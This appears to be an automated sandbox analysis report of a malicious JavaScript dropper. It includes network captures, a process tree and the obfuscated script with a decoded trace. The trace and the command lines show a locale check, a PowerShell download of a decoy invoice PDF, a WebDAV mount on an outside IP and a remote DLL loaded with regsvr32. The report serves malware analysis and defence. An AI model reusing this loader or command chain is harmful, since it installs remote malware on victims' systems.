Jan 11, 2025 01:39:57.868522882 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 01:39:58.640366077 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 00:39:58 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 01:39:58.640433073 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 01:39:58.640444994 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 01:39:58.640463114 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 11, 2025 01:39:58.640475035 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
Jan 11, 2025 01:39:58.640486956 CET	1236	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
Jan 11, 2025 01:39:58.640499115 CET	1236	IN	Data Raw: df 71 fb ff 88 01 f0 15 5a f1 86 8c cf c0 27 13 43 3f 56 c5 d0 ab 3e 86 9e 15 63 e8 db 57 83 e1 50 f3 98 fd fd 37 5d 0c bd 0a 63 e8 49 8a a1 67 f7 12 43 6f 6e 9e e6 c7 86 3e 04 c7 86 12 43 b7 65 ea 9b 13 00 00 c0 34 f8 62 09 00 26 17 de 78 6b 9a Data Ascii: qZ'C?V>cWP7]cIgCon>Ce4b&xkKEK_BXG:a!9KSRDs/rWUK<Z[axj?P/xy5KoeSco1>'f,12Cn1KCumg
Jan 11, 2025 01:39:58.640511990 CET	896	IN	Data Raw: c3 00 fa 39 2c 4f 25 7b e5 0c 5a 53 69 75 a2 35 55 74 a1 57 d3 bc ac 95 f7 99 47 97 b3 97 68 91 61 12 5d 22 83 16 ee b4 6b 19 7f 9e fa 1f 47 00 be 4c 95 ff a6 8f cf 93 1b 0b fd e4 77 e4 3e 76 3b 72 4d 0c bd bc e8 62 e8 e9 c9 6d 13 43 0f 5d 0c 35 Data Ascii: 9,O%{ZSiu5UtWGha]"kGLw>v;rMbmC]5GR91g}\|~yS0XmIr%&zu6"Oa508J)$*eer\|S\UP6B]=tWS&)wCNkJV
Jan 11, 2025 01:39:58.640522957 CET	1236	IN	Data Raw: 00 db e4 6f b0 35 25 34 37 de 95 3b 56 72 f4 cc c1 5c 26 28 cc 6a 15 4a a8 4e 3f 32 07 9a 1a a8 d4 cf b7 ad 37 ad d7 4e fa fb e9 d7 a4 36 aa ab a8 69 43 b9 13 3c 35 df 32 96 a8 54 35 89 ca 3c c3 7e 4c 75 a1 38 a5 af 2a 9c a5 d5 23 b4 35 d5 cc 4c Data Ascii: o5%47;Vr\&(jJN?27N6iC<52T5<~Lu8#5L>8f\^xmI3#^{hudM/eG_\?c0{,?nQGDUBwZ?l+`hC?bC31t_PC={6H=17
Jan 11, 2025 01:39:58.640536070 CET	1164	IN	Data Raw: ff 66 cb 0d 36 9a 81 d0 d1 57 d3 bf a0 92 44 a5 cf ea a7 ae 90 ff 4c 12 0d 6f 2f 35 45 52 5e 4a 51 39 9b 59 58 10 5d 33 16 5d 38 56 55 9f 90 5b b3 0e 5a 9e 0a 62 28 80 2d 58 ad 96 60 87 15 0f 0c fd 34 38 30 b4 89 a1 8f 6d 0c 9d 1f 18 7a 71 7e 77 Data Ascii: f6WDLo/5ER^JQ9YX]3]8VU[Zb(-X`480mzq~wbuC1T@7'il3}\|=8zhc}'Ie???32Uh}CjTy^CRgK6t)BSB%
Jan 11, 2025 01:39:58.683587074 CET	1236	IN	Data Raw: 5c 42 4d c9 92 98 25 01 ab f2 ac d5 f2 89 9c e1 82 5c 5d 42 d3 73 a5 17 44 7f 3f a4 77 44 fb 05 d1 a3 ef 34 53 de 17 ca ee e1 79 be e9 2d a7 5f 50 f3 f3 00 b9 19 ed 5c dd ae 39 af 33 7c 4a fd 08 fc db 21 e9 da 32 e4 9b 1b 81 37 1b 8f cd 90 6f ee Data Ascii: \BM%\]BsD?wD4Sy-_P\93\|J!27o31!`8?0=0cCr&wzb<0XM3wTCsc6ZsIifY;r\|MoMUtkpYLI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49717	193.143.1.205	8888	5760	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 01:40:00.094120979 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 01:40:00.896183968 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 00:40:00 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	19:39:52
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4892182381391430128.js"
Imagebase:	0x7ff73c8c0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	19:39:53
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\18418237766851.dll
Imagebase:	0x7ff642f20000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	19:39:53
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	19:39:53
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	19:39:58
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff651090000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	19:39:58
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff642f20000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	19:39:58
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6a0970000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	19:39:59
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	19:39:59
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	19:39:59
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1540,i,6163206901540679361,2313398844178024841,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function xouvr() {	xouvr() ➔ undefined
1	arfsr = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var eteveusnt = this[ffnbf + yjwwl + elhpe + oucnmgrf + dyfxavx + hdckrtim + ygsmk + dveydlzc] ( this[dgrmj + yrjjesn + jkdtpdw + elhpe + uofebkoo + ffnbf + dveydlzc][mjbctorfc + elhpe + dyfxavx + yjwwl + dveydlzc + dyfxavx + srwnqaep + lxkhagvk + iixtc + dyfxavx + jkdtpdw + dveydlzc] ( dgrmj + yrjjesn + jkdtpdw + elhpe + uofebkoo + ffnbf + dveydlzc + aiuwm + yrjjesn + lujwcxn + dyfxavx + hnhhff + hnhhff ) [tjvpgt + dyfxavx + eyytz + tjvpgt + dyfxavx + yjwwl + wpgieifx] ( trgsd + nuxyl + moupbn + drpksdshu + epznxuq + mjbctorfc + xingwdx + tjvpgt + tjvpgt + moupbn + azfjgj + fqjsgnyp + epznxuq + xingwdx + yrjjesn + moupbn + tjvpgt + qpihfvqr + mjbctorfc + xgwdfj + ygsmk + dveydlzc + elhpe + xgwdfj + hnhhff + lmetnzju + hmhkuym + yjwwl + ygsmk + dyfxavx + hnhhff + qpihfvqr + hdckrtim + ygsmk + dveydlzc + dyfxavx + elhpe + ygsmk + yjwwl + dveydlzc + uofebkoo + xgwdfj + ygsmk + yjwwl + hnhhff + qpihfvqr + bgnxevd + xgwdfj + jkdtpdw + yjwwl + hnhhff + dyfxavx ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( zlbvx = 0 ; zlbvx < arfsr[hnhhff + dyfxavx + ygsmk + eyytz + dveydlzc + lujwcxn] ; ++ zlbvx )
4	{
5	if ( eteveusnt == arfsr[zlbvx] )
6	{
7	eteveusnt = true;
8	break ;
9	}
10	}
11	if ( eteveusnt !== true )
12	this[dgrmj + yrjjesn + jkdtpdw + elhpe + uofebkoo + ffnbf + dveydlzc][bbgroctzb + ycnrv + uofebkoo + dveydlzc] ( );
13	this[dgrmj + yrjjesn + jkdtpdw + elhpe + uofebkoo + ffnbf + dveydlzc][mjbctorfc + elhpe + dyfxavx + yjwwl + dveydlzc + dyfxavx + srwnqaep + lxkhagvk + iixtc + dyfxavx + jkdtpdw + dveydlzc] ( dgrmj + yrjjesn + jkdtpdw + elhpe + uofebkoo + ffnbf + dveydlzc + aiuwm + yrjjesn + lujwcxn + dyfxavx + hnhhff + hnhhff ) [elhpe + ycnrv + ygsmk] ( jkdtpdw + cslznm + wpgieifx + lmetnzju + kowwo + jkdtpdw + lmetnzju + ffnbf + xgwdfj + nhffql + dyfxavx + elhpe + oucnmgrf + lujwcxn + dyfxavx + hnhhff + hnhhff + aiuwm + dyfxavx + kqdvb + dyfxavx + lmetnzju + xvzhzq + mjbctorfc + xgwdfj + cslznm + cslznm + yjwwl + ygsmk + wpgieifx + lmetnzju + znndnlhe + hdckrtim + ygsmk + pnvkdnz + xgwdfj + hkjqa + dyfxavx + xvzhzq + dgrmj + dyfxavx + lxkhagvk + tjvpgt + dyfxavx + hlklmoqyx + ycnrv + dyfxavx + oucnmgrf + dveydlzc + lmetnzju + xvzhzq + srwnqaep + ycnrv + dveydlzc + iyvaqhnkb + uofebkoo + hnhhff + dyfxavx + lmetnzju + iivcwlnc + dveydlzc + dyfxavx + cslznm + ffnbf + iivcwlnc + qpihfvqr + uofebkoo + ygsmk + pnvkdnz + xgwdfj + uofebkoo + jkdtpdw + dyfxavx + aiuwm + ffnbf + wpgieifx + vuzghts + lmetnzju + lujwcxn + dveydlzc + dveydlzc + ffnbf + ipafmyaj + kowwo + kowwo + udxomtxdg + gwxobquo + iksornoyj + aiuwm + udxomtxdg + wlywom + iksornoyj + aiuwm + udxomtxdg + aiuwm + dspzujegj + xjzbfl + gflclzc + kowwo + uofebkoo + ygsmk + pnvkdnz + xgwdfj + uofebkoo + jkdtpdw + dyfxavx + aiuwm + ffnbf + lujwcxn + ffnbf + znndnlhe + ppnqxda + ppnqxda + oucnmgrf + dveydlzc + yjwwl + elhpe + dveydlzc + lmetnzju + iivcwlnc + dveydlzc + dyfxavx + cslznm + ffnbf + iivcwlnc + qpihfvqr + uofebkoo + ygsmk + pnvkdnz + xgwdfj + uofebkoo + jkdtpdw + dyfxavx + aiuwm + ffnbf + wpgieifx + vuzghts + ppnqxda + ppnqxda + jkdtpdw + cslznm + wpgieifx + lmetnzju + kowwo + jkdtpdw + lmetnzju + ygsmk + dyfxavx + dveydlzc + lmetnzju + ycnrv + oucnmgrf + dyfxavx + lmetnzju + qpihfvqr + qpihfvqr + udxomtxdg + gwxobquo + iksornoyj + aiuwm + udxomtxdg + wlywom + iksornoyj + aiuwm + udxomtxdg + aiuwm + dspzujegj + xjzbfl + gflclzc + metzjwtzl + fwypms + fwypms + fwypms + fwypms + qpihfvqr + wpgieifx + yjwwl + pnvkdnz + nhffql + nhffql + nhffql + elhpe + xgwdfj + xgwdfj + dveydlzc + qpihfvqr + ppnqxda + ppnqxda + jkdtpdw + cslznm + wpgieifx + lmetnzju + kowwo + jkdtpdw + lmetnzju + elhpe + dyfxavx + eyytz + oucnmgrf + pnvkdnz + elhpe + iksornoyj + dspzujegj + lmetnzju + kowwo + oucnmgrf + lmetnzju + qpihfvqr + qpihfvqr + udxomtxdg + gwxobquo + iksornoyj + aiuwm + udxomtxdg + wlywom + iksornoyj + aiuwm + udxomtxdg + aiuwm + dspzujegj + xjzbfl + gflclzc + metzjwtzl + fwypms + fwypms + fwypms + fwypms + qpihfvqr + wpgieifx + yjwwl + pnvkdnz + nhffql + nhffql + nhffql + elhpe + xgwdfj + xgwdfj + dveydlzc + qpihfvqr + udxomtxdg + fwypms + wlywom + udxomtxdg + fwypms + dspzujegj + iksornoyj + fpajlu + fpajlu + icocg + icocg + fwypms + gflclzc + udxomtxdg + aiuwm + wpgieifx + hnhhff + hnhhff, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\18418237766851.dll",0,false) ➔ 0
14	}
15	iixtc = "o";
16	iixtc = "N";
17	iixtc = "D";
18	iixtc = "t";
19	iixtc = "Z";
20	iixtc = "W";
21	iixtc = "n";
22	iixtc = "g";
23	iixtc = "Q";
24	iixtc = "q";
25	iixtc = "U";
26	iixtc = "O";
27	iixtc = "S";
28	iixtc = "l";
29	iixtc = "A";
30	iixtc = "H";
31	iixtc = "A";
32	iixtc = "J";
33	iixtc = "B";
34	iixtc = "Z";
35	iixtc = "O";
36	iixtc = "i";
37	iixtc = "C";
38	iixtc = "G";
39	iixtc = "D";
40	iixtc = "j";
41	dyfxavx = "p";
42	dyfxavx = "Q";
43	dyfxavx = "X";
44	dyfxavx = "U";
45	dyfxavx = "F";
46	dyfxavx = "D";
47	dyfxavx = "q";
48	dyfxavx = "j";
49	dyfxavx = "T";
50	dyfxavx = "k";
51	dyfxavx = "u";
52	dyfxavx = "I";
53	dyfxavx = "Z";
54	dyfxavx = "U";
55	dyfxavx = "u";
56	dyfxavx = "C";
57	dyfxavx = "L";
58	dyfxavx = "x";
59	dyfxavx = "s";
60	dyfxavx = "l";
61	dyfxavx = "q";
62	dyfxavx = "g";
63	dyfxavx = "e";
64	znndnlhe = "D";
65	znndnlhe = "l";
66	znndnlhe = "v";
67	znndnlhe = "c";
68	znndnlhe = "B";
69	znndnlhe = "S";
70	znndnlhe = "A";
71	znndnlhe = "N";
72	znndnlhe = "e";
73	znndnlhe = "D";
74	znndnlhe = "Y";
75	znndnlhe = "G";
76	znndnlhe = "u";
77	znndnlhe = "w";
78	znndnlhe = "U";
79	znndnlhe = "y";
80	znndnlhe = "v";
81	znndnlhe = "\"";
82	eyytz = "x";
83	eyytz = "I";
84	eyytz = "g";
85	aiuwm = "I";
86	aiuwm = "v";
87	aiuwm = "i";
88	aiuwm = ".";
89	hmhkuym = "Z";
90	hmhkuym = "P";
91	vuzghts = "C";
92	vuzghts = "w";
93	vuzghts = "U";
94	vuzghts = "x";
95	vuzghts = "P";
96	vuzghts = "J";
97	vuzghts = "n";
98	vuzghts = "C";
99	vuzghts = "e";
100	vuzghts = "K";
101	vuzghts = "o";
102	vuzghts = "f";
103	vuzghts = "u";
104	vuzghts = "Y";
105	vuzghts = "f";
106	vuzghts = "l";
107	vuzghts = "f";
108	vuzghts = "j";
109	vuzghts = "R";
110	vuzghts = "I";
111	vuzghts = "L";
112	vuzghts = "s";
113	vuzghts = "f";
114	pnvkdnz = "R";
115	pnvkdnz = "h";
116	pnvkdnz = "t";
117	pnvkdnz = "Y";
118	pnvkdnz = "F";
119	pnvkdnz = "K";
120	pnvkdnz = "D";
121	pnvkdnz = "y";
122	pnvkdnz = "R";
123	pnvkdnz = "P";
124	pnvkdnz = "A";
125	pnvkdnz = "M";
126	pnvkdnz = "Z";
127	pnvkdnz = "z";
128	pnvkdnz = "A";
129	pnvkdnz = "T";
130	pnvkdnz = "I";
131	pnvkdnz = "E";
132	pnvkdnz = "c";
133	pnvkdnz = "m";
134	pnvkdnz = "Z";
135	pnvkdnz = "q";
136	pnvkdnz = "P";
137	pnvkdnz = "b";
138	pnvkdnz = "K";
139	pnvkdnz = "j";
140	pnvkdnz = "z";
141	pnvkdnz = "S";
142	pnvkdnz = "H";
143	pnvkdnz = "e";
144	pnvkdnz = "r";
145	pnvkdnz = "G";
146	pnvkdnz = "P";
147	pnvkdnz = "S";
148	pnvkdnz = "a";
149	pnvkdnz = "h";
150	pnvkdnz = "t";
151	pnvkdnz = "v";
152	dspzujegj = "z";
153	dspzujegj = "i";
154	dspzujegj = "C";
155	dspzujegj = "D";
156	dspzujegj = "T";
157	dspzujegj = "B";
158	dspzujegj = "w";
159	dspzujegj = "n";
160	dspzujegj = "h";
161	dspzujegj = "U";
162	dspzujegj = "e";
163	dspzujegj = "I";
164	dspzujegj = "D";
165	dspzujegj = "b";
166	dspzujegj = "r";
167	dspzujegj = "M";
168	dspzujegj = "G";
169	dspzujegj = "w";
170	dspzujegj = "2";
171	hnhhff = "Y";
172	hnhhff = "X";
173	hnhhff = "N";
174	hnhhff = "c";
175	hnhhff = "m";
176	hnhhff = "l";
177	hnhhff = "u";
178	hnhhff = "x";
179	hnhhff = "S";
180	hnhhff = "L";
181	hnhhff = "C";
182	hnhhff = "q";
183	hnhhff = "S";
184	hnhhff = "T";
185	hnhhff = "N";
186	hnhhff = "G";
187	hnhhff = "b";
188	hnhhff = "c";
189	hnhhff = "Z";
190	hnhhff = "A";
191	hnhhff = "I";
192	hnhhff = "d";
193	hnhhff = "q";
194	hnhhff = "x";
195	hnhhff = "C";
196	hnhhff = "E";
197	hnhhff = "p";
198	hnhhff = "A";
199	hnhhff = "L";
200	hnhhff = "S";
201	hnhhff = "P";
202	hnhhff = "Y";
203	hnhhff = "n";
204	hnhhff = "n";
205	hnhhff = "x";
206	hnhhff = "F";
207	hnhhff = "W";
208	hnhhff = "Y";
209	hnhhff = "B";
210	hnhhff = "D";
211	hnhhff = "F";
212	hnhhff = "l";
213	xgwdfj = "I";
214	xgwdfj = "h";
215	xgwdfj = "D";
216	xgwdfj = "L";
217	xgwdfj = "n";
218	xgwdfj = "S";
219	xgwdfj = "m";
220	xgwdfj = "f";
221	xgwdfj = "Z";
222	xgwdfj = "b";
223	xgwdfj = "O";
224	xgwdfj = "J";
225	xgwdfj = "x";
226	xgwdfj = "o";
227	srwnqaep = "L";
228	srwnqaep = "u";
229	srwnqaep = "w";
230	srwnqaep = "R";
231	srwnqaep = "a";
232	srwnqaep = "L";
233	srwnqaep = "P";
234	srwnqaep = "Z";
235	srwnqaep = "g";
236	srwnqaep = "k";
237	srwnqaep = "r";
238	srwnqaep = "H";
239	srwnqaep = "p";
240	srwnqaep = "D";
241	srwnqaep = "U";
242	srwnqaep = "t";
243	srwnqaep = "y";
244	srwnqaep = "E";
245	srwnqaep = "r";
246	srwnqaep = "p";
247	srwnqaep = "P";
248	srwnqaep = "Q";
249	srwnqaep = "g";
250	srwnqaep = "r";
251	srwnqaep = "j";
252	srwnqaep = "p";
253	srwnqaep = "k";
254	srwnqaep = "U";
255	srwnqaep = "V";
256	srwnqaep = "h";
257	srwnqaep = "I";
258	srwnqaep = "S";
259	srwnqaep = "i";
260	srwnqaep = "l";
261	srwnqaep = "u";
262	srwnqaep = "v";
263	srwnqaep = "F";
264	srwnqaep = "f";
265	srwnqaep = "O";
266	xingwdx = "s";
267	xingwdx = "f";
268	xingwdx = "Z";
269	xingwdx = "q";
270	xingwdx = "S";
271	xingwdx = "d";
272	xingwdx = "s";
273	xingwdx = "E";
274	xingwdx = "u";
275	xingwdx = "T";
276	xingwdx = "r";
277	xingwdx = "v";
278	xingwdx = "A";
279	xingwdx = "Q";
280	xingwdx = "Z";
281	xingwdx = "G";
282	xingwdx = "e";
283	xingwdx = "w";
284	xingwdx = "y";
285	xingwdx = "s";
286	xingwdx = "C";
287	xingwdx = "w";
288	xingwdx = "B";
289	xingwdx = "X";
290	xingwdx = "g";
291	xingwdx = "T";
292	xingwdx = "w";
293	xingwdx = "O";
294	xingwdx = "Z";
295	xingwdx = "P";
296	xingwdx = "u";
